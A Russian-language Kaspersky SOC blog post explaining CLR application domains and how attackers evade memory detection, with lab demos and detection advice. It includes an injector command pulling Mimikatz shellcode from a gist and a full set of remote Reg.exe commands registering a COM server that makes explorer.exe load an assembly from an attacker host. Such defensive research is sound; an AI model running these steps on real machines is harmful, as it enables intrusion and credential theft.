Как стать автором
Обновить
«Лаборатория Касперского»
Ловим вирусы, исследуем угрозы, спасаем мир

Артефакты в CLR: как маскируют современные кибератаки и как SOC может их обнаружить

Время на прочтение16 мин
Количество просмотров6K


Сейчас в мире кибербезопасности защищаться дорого, а вот атаковать дешево. Все благодаря «гитхабификации» процессов в offensive-командах. Атакующие создали множество часто переиспользуемых утилит и техник.

Но однозначного преимущества у «красных» нет. Профессиональные Blue Teams давно изучили распространенные методы нападения и легко их вычисляют. Успех кибератаки сегодня во многом зависит от того, как хорошо «красные» смогут замаскировать старую проверенную утилиту, чтобы сбить детект классического защитного средства.

Меня зовут Александр Родченко (gam4er), я — Senior SOC Analyst в «Лаборатории Касперского». Под катом я расскажу, почему атакующие предпочитают использовать старые утилиты, а не писать новые, где (а на самом деле — когда) в CLR появляются артефакты от «старых добрых» утилит, и как ваш SOC может вовремя их задетектить.

Почему в кибератаках по-прежнему используют известные утилиты

Современную атаку или пентест невозможно представить без Mimikatz, графа SharpHound, SeatBelt, Rubeus и вообще инструментария из GhostPack. У «красных» отличный инструментарий, который они разрабатывали годами и который теперь доступен каждому.



Но поскольку их инструменты в свободном доступе, то у всех вендоров эндпоинт-решений по безопасности существуют быстрые компоненты сигнатурного анализа, которые не позволяют пользоваться этим инструментарием «из коробки». За десятилетия истории развития киберзащиты все производители антивирусов собрали знания обо всех утилитах, используемых злоумышленниками для атак или в ходе различных пентестов. Все, что представляет угрозу для кибербезопасности, давно зафиксировано на Virustotal (-;

Как мы уже писали выше, преимущество «красных» как раз в том, что атаковать дешево. То есть изобретать заново аналоги существующих инструментов для них просто невыгодно, слишком много денег и сил уйдет на разработку.

Поэтому они предпочитают скрывать исполняемый код от антивируса с помощью Runtime-шифрования, загрузчиков и пакеров. Например, изобрели Fileless- и Malwareless-атаки — целый класс техник, основанный, как правило, на доверенном инструментарии, который присутствует в каждой системе. Или многочисленные LOLBAS — способы размещения необходимого злоумышленникам кода в памяти системного процесса. Никого сейчас не удивляет запущенный Mimikatz «внутри» процесса InstallUtil.exe.

Но сколько ни используй механизмы шифрования, обфускации и автоматического изменения кода, в процессе атаки в оперативной памяти обязательно появится подозрительный участок, артефакт, который будет легко задетектить классическим средством. И это логично, если ты используешь старую проверенную утилиту, с которой хорошо уже ознакомились защищающиеся.

И перед атакующими встает вопрос: а как сделать так, чтобы этот артефакт не обнаружили? Самый очевидный ответ — уничтожить артефакт, удалить его из памяти. И ниже мы обсудим, что же происходит в этом случае, а главное — как мы можем заметить очистку памяти от различных артефактов в CLR.

Общие сведения о сборках и коде, который исполняется в CLR


Как раз в случае с Common Language Runtime нельзя просто так удалить сборку из приложения и тем самым очистить память. Исполняемый код может быть выгружен только вместе с доменом приложения, в котором он исполняется.


Сейчас неподготовленный читатель уже заметил новую, отличную от unmanaged code терминологию, так что давайте для начала разберемся, что происходит при исполнении кода в CLR. Можно ли наблюдать за процессами, происходящими в этой среде?

Как в среде исполнения появляется код? В момент компиляции исходного кода, написанного, например, на C#, компилятор выдает не готовый для исполнения PE-файл, а сборку.

Сборка — это прежде всего набор инструкций (CIL-код) для среды выполнения, чтобы она смогла при исполнении этой сборки сгенерировать уже Native Code, который, в свою очередь, и будет исполнен. Процесс создания Native Code из Assembly в момент исполнения так и называется JIT-компиляция.

Common Language Runtime (Wikipedia)@@@

Common Language Runtime (Wikipedia)



Сборка, полученная в результате компиляции, например приложения Hello world, содержит в себе:

  • Сам код, определенный в модулях. Это наш код, только он не запустится, пока не обработан CLR. А для этой обработки и нужны все остальные элементы.
  • Метаданные о классах, интерфейсах, типах, методах и полях в сборке. Эта информация нужна для того, чтобы CLR мог оперировать тем кодом, что уже был написан: загружать, ссылаться на него, запускать один код из другого и передавать входные и выходные данные. Процесс чтения и применения этих данных называется отражением.
  • Манифест — это данные о безопасности, версиях, зависимостях и составных частях сборки. Манифест определяет, что нужно, чтобы запустить наш исходный код. Например, если для запуска нашего кода нужен https://github.com/JamesNK/Newtonsoft.Json, то это будет записано в манифесте.
  • Ресурсы — файлы и данные любых типов, сохраненные отдельно или включенные в саму сборку.

Логично предположить, что такую сложную структуру данных просто так не исполнить. И это чистая правда: загрузка и исполнение сборок — сложный процесс. Давайте разберемся, как он происходит.

Что происходит при загрузке сборки

Мы можем четко увидеть, что и как загружается в управляемый процесс, через ETW CLR Runtime Provider (GUID e13c0d23-ccbc-4e12-931b-d9cc2eee27e4).



Теперь, когда мы видим, что происходит при запуске, давайте посмотрим, где в системе может храниться полезная для SOC информация о потенциальных угрозах и артефактах в CLR на каждом этапе загрузки.

На что обращать внимание при старте CLR

При разработке Microsoft реализовала CLR как COM-сервер, содержащийся внутри DLL. То есть Microsoft определила стандартный COM-интерфейс для среды CLR, а после присвоила GUID этому интерфейсу и COM-серверу. Когда вы устанавливаете .NET Framework, COM-сервер, представляющий CLR, регистрируется в реестре Windows, как и любой другой COM-сервер.

Любое приложение Windows может размещать среду CLR. Всякий раз, когда это происходит, генерируется событие 187. В этом событии отражено то, каким образом была активирована среда CLR. В случае COM-активации CLR поля StartupMode и ComObjectGUID будут содержать крайне полезную информацию, о которой расскажем позже.

Если вам нужна дополнительная информация, обратитесь к заголовочному файлу MetaHost.h C ++, который поставляется с .NET Framework SDK. Этот файл заголовка дает определение неуправляемого интерфейса ICLRMetaHostinterface и определяет идентификаторы GUID. С ним вы научитесь запускать CLR с помощью любого языка: С++, Python.

Что такое домен приложений

После старта CLR идут события 156, они генерируются при загрузке в CLR доменов приложений. Когда COM-сервер CLR инициализируется, он создает домен приложения (AppDomain) — логический контейнер для набора сборок, которые, как правило, реализуют функциональное приложение.

Также домен приложения — это механизм в CLR, который дает возможность запустить группу приложений в одном процессе, обеспечивая их относительную изоляцию друг от друга и в то же время позволяя им взаимодействовать друг с другом значительно быстрее. В одном процессе может работать много доменов приложений. Первый домен приложения, созданный при инициализации среды CLR, называется доменом приложения по умолчанию и уничтожается только после завершения процесса Windows.

К объектам, созданным в одном домене приложения, нельзя получить доступ напрямую с помощью кода в другом домене приложения. Когда код в домене приложения создает объект, данный объект «принадлежит» этому домену приложения. Также объекту (артефакту в том числе) не разрешается существовать дольше домена приложения, код которого его создал. Код внутри домена приложения может получить доступ к объекту других доменов приложений только с помощью маршалинга (передачи данных) по ссылке или по значению. Это обеспечивает четкие границы между приложениями, поскольку код в одном домене приложения не может иметь прямой ссылки на объект, созданный кодом в другом домене приложения. Эта изоляция позволяет легко выгружать домены приложений из процесса, не затрагивая код, выполняющийся в других доменах приложений.

Единица изоляции для кода в CLR — домен приложения, а не процесс. Домены приложений обеспечивают изоляцию, необходимую для защиты, настройки и завершения работы каждого из этих приложений. Мы можем сказать с рядом допущений, что старт процесса в семантике WinAPI аналогичен созданию домена приложений. Для SOC-аналитика будет лучше думать, что события загрузки домена приложений и старта процесса функционально одинаковы.

Заметим, что хотя CLR не поддерживает возможность выгрузки отдельной сборки из домена приложений, выгрузить домены приложений все же можно. Вы можете указать CLR выгрузить весь AppDomain, что приведет к выгрузке всех сборок, содержащихся в нем в данный момент.

Замечательной особенностью Windows является то, что каждое приложение запускается в собственном адресном пространстве процесса. Это гарантирует, что код в одном приложении не сможет получить доступ к коду или данным, используемым другим приложением. Изоляция процессов предотвращает появление дыр в безопасности, повреждение данных и другие непредсказуемые действия, что добавляет Windows и ее приложениям надежности. К сожалению, создание процессов в Windows очень затратно. Функция CreateProcess работает очень медленно, а Windows требует много памяти для виртуализации адресного пространства процесса.

Однако если приложение полностью состоит из управляемого кода, который является достаточно безопасным и не вызывает неуправляемый код, можно без проблем запустить несколько управляемых приложений в одном процессе Windows. Домены приложений обеспечивают изоляцию, необходимую для защиты, настройки и завершения работы каждого из этих приложений.

Жестко заданного ограничения на количество доменов приложений, которые могут выполняться в одном процессе Windows, не существует.


Вы можете сейчас вспомнить сайты в сервере IIS: каждый сайт — это отдельный домен приложения со своей изоляцией, который может быть выгружен из сервера, не затрагивая другие сайты.

Загрузка сборки

В домен приложения загружается сборка. Сборка определяет ряд правил для кода, который в ней содержится, предоставляет CLR (и другому коду) сведения о типах и классах, определенных в сборке. В некоторых случаях сборка может быть нейтральной к домену приложения, и ее код могут использовать все домены, однако в данной статье мы такие сборки не рассматриваем.

Загрузка модуля

Только после этого в сборку загружаются модули, непосредственно содержащие наш СIL-код. На этот CIL-код накладываются правила, описанные в манифесте сборке. И происходит JIT-компиляция CIL в готовый для исполнения Native Code. Модуль содержит то, что нам функционально нужно от приложения, например тот код на C#, который мы нашли на GitHub и хотим переиспользовать.


На рисунке — отдельный процесс Windows, в котором работает один COM-сервер CLR. Эта среда CLR в настоящее время управляет двумя доменами приложений. У каждого AppDomain своя собственная куча загрузчика. Каждая из них поддерживает запись о том, какие типы были доступны с момента создания AppDomain. У каждого объекта типа в куче загрузчика есть своя таблица методов. И если метод был выполнен хотя бы раз, то соответствующая запись в таблице указывает на JIT-скомпилированный собственный код.

Обход обнаружения в CLR


Итак, тем или иным образом на этапе загрузки или в ходе работы модуля появится артефакт, который может быть «замечен» классическим средством. Атакующий поставил цель от него избавиться и обезопасить себя от обнаружения. И как сказано выше, для этого нужно выгрузить весь домен приложения целиком.

Для начала разберем, как атака может быть обнаружена. В качестве примера возьмем фреймворк для пентеста Covenant.

Запуск Covenant в одном домене приложения


Рассмотрим для примера работу фреймворка covenant. Запустим в системе grunt. В терминологии фреймворка это программа, которая отвечает за обмен данными с сервером и запускает задания на исполнение. А вслед за ним запустим ряд типичных для злоумышленника действий: сбор информации о текущем пользователе, автозагрузку, просмотр сведений о билетах kerberos, загруженных в сессию текущего пользователя, и, конечно же, просмотр истории браузера. Используем для этого:

  • Seatbelt AutoRuns
  • Seatbelt ChromeHistory
  • Rubeus klist


Итого — в один домен приложения загружаются несколько сборок. Как вы можете видеть на примере, логически все сделано неправильно: в один домен приложения загружен многочисленный разный функционал. Здесь и сборки, отвечающие за задания, принятые с командного сервера, и функционал работы с СnС. Не произошло разделения приложений по принципу: одна функциональная программа — один домен. А хороший стиль программирования как раз и подразумевает, что следует выделять и разделять функциональные части нашего процесса управления зараженной машиной в разные домены приложения.

Итак, у «красных» есть проблема: в один домен приложения загружено много сборок, реализующих разный функционал. И эти сборки могут быть замечены классическим средством киберзащиты как раз потому, что в них будут артефакты, появившиеся в результате работы кода или даже непосредственно определенные в коде.

Выгрузить эти артефакты не выйдет, ведь они связаны одним доменом приложения с кодом, реализующим работу с CnC. Все со всем повязано и «сложено в одну корзину». Что неправильно даже с точки зрения народной мудрости.

По всей видимости, так случается потому, что у части «красных» есть некоторые сложности в понимании того, какие механизмы управляют памятью в общеязыковой среде выполнения, а также в реализации этих механизмов на практике.

Так, может быть, при атаке проще использовать классические средства разделения кода: инжект и/или старт нового процесса? Конечно, если функционал «красных» будет выполняться в другом процессе, который после завершения закроется, и память очистится, то так сделать проще. Можем даже смоделировать эту ситуацию: сделаем классический старт нового процесса и инжект кода. Заодно проверим, насколько это заметно для современного мониторинга.

Мониторинг инжекта и старта нового процесса (не на CLR)


Для демонстрации давайте создадим шеллкод из Mimikatz с помощью Donut и внедрим его в какой-либо процесс. Для демонстрации я выбрал PowerShell. Используем программу Process Injection. Ее, в свою очередь, запустим из Grunt под управлением Covenant, про который уже говорилось выше. Этот же метод описан в обзоре здесь. В ходе демонстрации мы пронаблюдаем обе техники разделения кода: и старт нового процесса, и инжекцию кода. Для мониторинга воспользуемся утилитой Sysmon со ставшими практически «дефолтными» настройками от SwiftOnSecurity.

Загрузка инжектора на ПК жертвы

Загрузка инжектора на ПК жертвы

Старт инжектора и инжекция шеллкода

Старт инжектора и инжекция шеллкода

Grunt запускает на ПК жертвы ProcessInjection.exe с командной строкой. Закодированный по методу Base64 шеллкод будет при этом скачан с gist:

ProcessInjection.exe /t:1 /f:base64 /pid:1604 /url:https://gist.githubusercontent.com/gam4er/07aae8b5284c9aa54ff976c3f4bc0cd9/raw/ec0de97792230bbb0526dd60659c3e1c75c3a63b/Mimi


И Sysmon тут же покажет множество подозрительных действий.

Create executable file


Create process


Inject code from ProcessInjection.exe to powershell.exe




А с установленными решениями AV/EPP/EDR описанная цепочка вообще не сможет запуститься, потому что это слишком хорошо известный и заметный паттерн поведения атакующего. Напрашивается вывод, что старые методы запуска/инжекции кода очень заметны.

Итак, мы резюмируем, что «классический» подход «стартуй и инжекть» не всегда возможно применить: есть ситуации, когда инжекты и старт нового процесса будут слишком заметны для средств мониторинга. Также не всегда можно просто закрыть процесс, который содержит артефакт. Например, если при атаке использовали один из системных процессов. Что атакующие делают в таком случае?

Как при атаке используют COM для удаленного выполнения кода



Итак, есть способ, который вызовет на удаленной машине скачивание и запуск кода через активацию COM-сервера в процессе explorer без создания новых процессов или инжекции кода в уже существующие.

Для примера напишем COM-сервер на C#. Регистрация данного сервера будет немного необычной: COM-сервером будет выступать библиотека MSCOREE, которая в качестве аргументов примет имя сборки и класс, содержащий реализацию сервера. MSCOREE — это библиотека, которая реализует функционал CLR в Windows. Зарегистрировав таким образом COM-сервер, мы дали указание CLR в случае активации загрузить код, реализующий этот сервер, из указанного класса.


Особое внимание здесь нужно обратить на ключ codebase. Применяя его, можно использовать COM-сервер без регистрации своей сборки в глобальном кэше сборок. Это позволяет определить COM-сервер от имени пользователя. Этот параметр принимает URI, что несколько странно. Хост-процесс загружает из сети и запускает сборку, содержащую COM-сервер.

Заметим, что регистрация COM-сервера возможна и по сети. Чтобы определить COM-сервер, достаточно просто изменить реестр.

Почему этот метод работает


Существует множество способов настройки общеязыковой среды исполнения и множество параметров, доступных для конфигурации: те же конфигурационные файлы приложения и глобальные конфигурационные файлы. Или, к примеру, переменные окружения. Более того, есть специальный параметр, который разрешает или запрещает загрузку сборок из удаленных источников. По умолчанию она запрещена.

Но не в случае с COM-активацией CLR в хост-процессе эксплорера. Здесь по умолчанию загрузка сборок из удаленных источников разрешена. Кажется, это поведение было специально настроено.

Это уязвимость? Определенно нет.

Можно ли этим воспользоваться, чтобы заставить удаленную машину запустить код, который на ней не находится? Определенно да.

Практический пример. Собираем знания воедино


Мы продемонстрировали, что запуск вредоносных компонентов в одном домене приложения (см. «Запуск Covenant в одном домене приложения»), равно как и создание отдельного процесса или инжекция кода (см. «Запуск нового процесса и инжекция кода») можно обнаружить. В зависимости от ситуации это легче или сложнее, но в целом подобные манипуляции довольно заметны. Мы также разобрали, как настроить удаленную загрузку кода в CLR. Теперь рассмотрим прием, способный затруднить обнаружение запуска кода при помощи COM-активированной среды CLR. Мы запустим обычный вариант Mimikatz на удаленном хосте в контексте процесса Explorer и удалим артефакты после его выполнения. Эта демонстрационная атака предполагает, что у нас уже есть доступ к хосту жертвы. Все шаги отражены на видео (на английском языке) и расписаны ниже. Для удобства мы также приводим в тексте временные метки отдельных шагов, чтобы вы могли посмотреть нужный фрагмент видео.



В качестве защитного решения на хосте жертвы мы используем Yara и правила из репозитория Mimikatz. Inveigh и Mimikatz уже установлены на устройстве. Для начала убедимся, что Yara-правила работают.


Теперь взглянем на процесс explorer.exe (PID 3896) и убедимся, что в нем нет артефактов Mimikatz. После этого мы перезагрузим explorer.exe, чтобы еще раз показать, что он чист и что в нем нет сборок CLR.




Перемещаемся на хост атакующего (01:40). Добавляем обработчик Explorer в реестр на хосте жертвы. Когда жертва запустит Explorer, в него загрузится сборка с удаленного хоста атакующего.

Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}" /ve /t REG_SZ /d "ReadOnlyFileIconOverlayHandler" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /ve /t REG_SZ /d "mscoree.dll" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "Assembly" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1aadad2b22ca8c0e" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "Class" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "RuntimeVersion" /t REG_SZ /d "v4.0.30319" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32" /v "CodeBase" /t REG_SZ /d "http://ts-dc1.enterprise.lab/ReadOnlyFileIconOverlayHandler.dll" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "Assembly" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler, Version=1.0.0.0, Culture=neutral, PublicKeyToken=1aadad2b22ca8c0e" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "Class" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "RuntimeVersion" /t REG_SZ /d "v4.0.30319" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\CLSID\{a259c04f-ffa8-310b-864c-fe602840399e}\InprocServer32\1.0.0.0" /v "CodeBase" /t REG_SZ /d "http://ts-dc1.enterprise.lab/ReadOnlyFileIconOverlayHandler.dll" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /ve /t REG_SZ /d "ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Classes\ReadOnlyFileIconOverlayHandler.ReadOnlyFileIconOverlayHandler\CLSID" /ve /t REG_SZ /d "{A259C04F-FFA8-310B-864C-FE602840399E}" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ ReadOnlyFileIconOverlayHandler" /ve /t REG_SZ /d "{a259c04f-ffa8-310b-864c-fe602840399e}" /f
Reg.exe add "\\ts-user1.enterprise.lab\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved" /v "{a259c04f-ffa8-310b-864c-fe602840399e}" /t REG_SZ /d "ReadOnlyFileIconOverlayHandler" /f



Возвращаемся на хост жертвы (02:30). Эмулируем вход пользователя путем перезагрузки explorer.exe.



Теперь в explorer.exe загружены сборки .NET, но в процессе все еще нет подозрительных артефактов. Они не появятся, пока мы не загрузим и не запустим KatzAssembly. Обратите внимание на пустой (пока) домен приложения, появившийся в нашем целевом процессе.



На 3:50 мы выполняем Mimikatz, и в памяти появляются детектируемые сборки.




Сразу после того, как Mimikatz выполнит свою работу, мы выгружаем домен приложения (04:18). Сканирование с помощью Yara показывает, что артефактов больше нет.



Этот практический пример мы отобразили на небольшой инфографике ниже. Подобные атаки, к сожалению, очень просты в исполнении и сложны в обнаружении, поскольку требуются мощности для сканирования памяти и выгружаемых приложений. Однако они довольно редко встречаются в дикой природе — как правило, у более продвинутых атакующих.


Охота на угрозы


А теперь дадим несколько советов SOC о том, как же детектить поведение, связанное с попыткой «красных» почистить память у CLR-приложения. В первую очередь следим за тем, как часто выгружаются домены приложений.


На рисунке последовательность событий ETW: создался домен приложений, загрузилась сборка, потом идет выгрузка сборки и домена приложений. Записать такой лог можно, например, с помощью SilkETW.

SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2008 -ot file -p Loader.json

А проанализировать полученные данные можно в облаке Elastic, как на следующих картинках.

После анализа легко выделить события загрузки и выгрузки и выявить процесс, который больше всего загружает и выгружает домены приложений.




Хотелось бы, наверное, иметь возможность сканировать память сборки и ее ресурсы при выгрузке, а не только при загрузке, как это сейчас реализовано в интерфейсе AMSI. При этом стоит отметить, что сканирование памяти при завершении работы сборки или домена приложения не может предотвратить запуск нежелательного ПО. Оно лишь позволяет обнаружить сам факт того, что подобный запуск был. Также следует иметь в виду, что любое дополнительное сканирование памяти негативно скажется на производительности.

А трюк с загрузкой удаленного кода через активацию COM-сервера в explorer можно увидеть, если наблюдать за событием 187 и смотреть на параметры активации среды.



Еще ваше внимание должно привлекать создание в реестре новых COM-серверов, у которых значение [HKEY_CLASSES_ROOT\CLSID\{GUID}\InprocServer32\CodeBase] содержит URL.

И не помешает наблюдать за загрузкой сборок процессом проводника из %AppData%\Local\assembly\dl3\([0-9A-Z]{8}.[0-9A-Z]{3}\\){2}.*\\Assemb.dll

Но главный совет для любого SOC, который хочет оперативно реагировать на замаскированные атаки через CLR и другие современные угрозы кибербезопасности, — прокачивайте свою команду. Мониторинг — это прежде всего сервис, а он в первую очередь опирается на талантливых сотрудников. Для того чтобы противодействовать подобным атакам, Blue Team нужны крутые аналитики, способные понять и даже предугадать следующий шаг «красных». Подобных спецов мы готовы выращивать и прокачивать в своей команде. Если ты понимаешь, как сегодня осуществляют кибератаки, умеешь оценивать уязвимости, анализировать риски, расследовать инциденты и разбираться в их последствиях, то не стесняйся заглянуть к нам.

Заключение


Этот краткий экскурс охватывает далеко не все методы замаскированной атаки через CLR. И отнюдь не все способы обнаружить артефакты такой атаки, чтобы вовремя ее остановить. Тем, кто интересуется кибербезопасностью, но раньше не вглядывался именно в эту ее область, такой пример точно будет полезен. А если вы опытный представитель отечественных Blue Teams, то делитесь с новичками своим опытом, интересными кейсами и методами раскрытия подобной маскировки. Раз уж атакующие гитхабифициуют инструменты, почему бы нам тоже не гитхабифицировать навыки борьбы с ними?
Теги:
Хабы:
Всего голосов 13: ↑13 и ↓0+13
Комментарии8

Публикации

Информация

Сайт
www.kaspersky.ru
Дата регистрации
Дата основания
Численность
5 001–10 000 человек
Местоположение
Россия